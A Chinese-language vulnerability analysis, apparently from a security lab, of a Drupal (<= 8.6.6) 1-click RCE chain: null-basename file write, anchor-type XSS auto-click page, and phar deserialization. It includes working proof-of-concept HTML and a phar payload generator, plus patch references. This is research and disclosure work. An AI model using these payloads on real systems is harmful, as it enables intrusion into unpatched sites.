作者:LoRexxar'@知道創宇404實驗室
時間:2019年4月19日
英文版本:http://www.bjnorthway.com/927/
2019年4月11日,zdi博客公開了一篇A SERIES OF UNFORTUNATE IMAGES: DRUPAL 1-CLICK TO RCE EXPLOIT CHAIN DETAILED.
整個漏洞的各個部分沒什么特別的,巧妙的是,攻擊者使用了3個漏洞+幾個小trick,把所有的漏洞鏈接起來卻成了一個還不錯的利用鏈,現在我們就來一起看看整個漏洞.
無后綴文件寫入
在Drupal的機制中,設定了這樣一條規則。
用戶上傳的圖片文件名將會被保留,如果出現文件名相同的情況,那么文件名后面就會被跟上_0,_1依次遞增。
在Drupal中為了兼容各種編碼,在處理上傳文件名時,Drupal會對文件名對相應的處理,如果出現值小于0x20的字符,那么就會將其轉化為_。

但如果文件名中,如果出現了\x80到\xff的字符時,PHP就會拋出PREG_BAD_UTF8_ERROR,如果發生錯誤,那么preg_replace就會返回NULL,$basename就會被置為NULL。

當basename為空時,后面的文件內容會被寫入到形似_0的文件內

在這個基礎下,原本會被上傳到
/sites/default/files/pictures/<YYYY-MM>/
則會被寫入
/sites/default/files/pictures/<YYYY-MM>/_0
當服務端開啟了評論頭像上傳,或者是擁有作者賬號時
攻擊者可以通過上傳一張惡意構造的gif圖,然后再上傳一張帶有惡意字符的同一張圖,那么就會將惡意圖片的內容寫入到相應目錄的_0中

但如果我們直接訪問這個文件時,該文件可能不會解析,這是因為
- 瀏覽器首先會根據服務端給出的content-type解析頁面,而服務端一般不會給空后綴的文件設置
content-type,或者設置為application/octet-stream - 其次瀏覽器會根據文件內容做簡單的判斷,如果文件的開頭為
<html>,則部分瀏覽器會將其解析為html - 部分瀏覽器還可能會設置默認的content-type,但大部分瀏覽器會選擇不解析該文件。
這時候我們就需要一個很特殊的小trick了,a標簽可以設置打開文件的type(only not for chrome)
當你訪問該頁面時,頁面會被解析為html并執行相應的代碼。
<html>
<head>
</head>
<body>
<a id='a' href="http://127.0.0.1/drupal-8.6.2/sites/default/files/2019-04/_6" type="text/html">321321</a>
<script type="text/javascript">
var a = document.getElementById('a')
a.click()
</script>
</body>
</html>
當被攻擊者訪問該頁面時,我們就可以執行任意的xss,這為后續的利用帶來了很大的便利,我們有了一個同源環境下的任意js執行點,讓我們繼續看。
phar反序列化RCE
2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper議題,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在該議題中提到,在PHP中存在一個叫做Stream API,通過注冊拓展可以注冊相應的偽協議,而phar這個拓展就注冊了phar://這個stream wrapper。
在我們知道創宇404實驗室安全研究員seaii曾經的研究(http://www.bjnorthway.com/680/)中表示,所有的文件函數都支持stream wrapper。
也就是說,如果我們找到可控的文件操作函數,其參數可控為phar文件,那么我們就可以通過反序列化執行命令。
在Drupal中,存在file system功能,其中就有一個功能,會把傳入的地址做一次is_dir的判斷,這里就存在這個問題


直接使用下面的payload生成文件
<?php
namespace GuzzleHttp\Psr7{
class FnStream{
public $_fn_close = "phpinfo";
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}
namespace{
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭
$o = new \GuzzleHttp\Psr7\FnStream();
$phar->setMetadata($o); //將自定義meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
}
?>
修改后綴為png之后,傳圖片到服務端,并在file system中設置
phar://./sites/default/files/2019-04/drupal.png
即可觸發

漏洞要求
這個漏洞在Drual8.6.6的更新中被修復,所以漏洞要求為
- <= Durpal 8.6.6
- 服務端開啟評論配圖或者攻擊者擁有author以上權限的賬號
- 被攻擊者需要訪問攻擊者的url
當上面三點同時成立時,這個攻擊鏈就可以被成立
漏洞補丁
無后綴文件寫入 SA-CORE-2019-004
https://www.drupal.org/SA-CORE-2019-004

如果出現該錯誤直接拋出,不繼續寫入
phar反序列化 SA-CORE-2019-002
https://www.drupal.org/SA-CORE-2019-002
寫在最后
回顧整個漏洞,不難發現其實整個漏洞都是由很多個不起眼的小漏洞構成的,Drupal的反序列化POP鏈已經被公開許久,phar漏洞也已經爆出一年,在2019年初,Drupal也更新修復了這個點,而preg_replace報錯會拋出錯誤我相信也不是特別的特性,把這三個漏洞配合上一個很特別的a標簽設置content-type的trick,就成了一個很漂亮的漏洞鏈。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/897/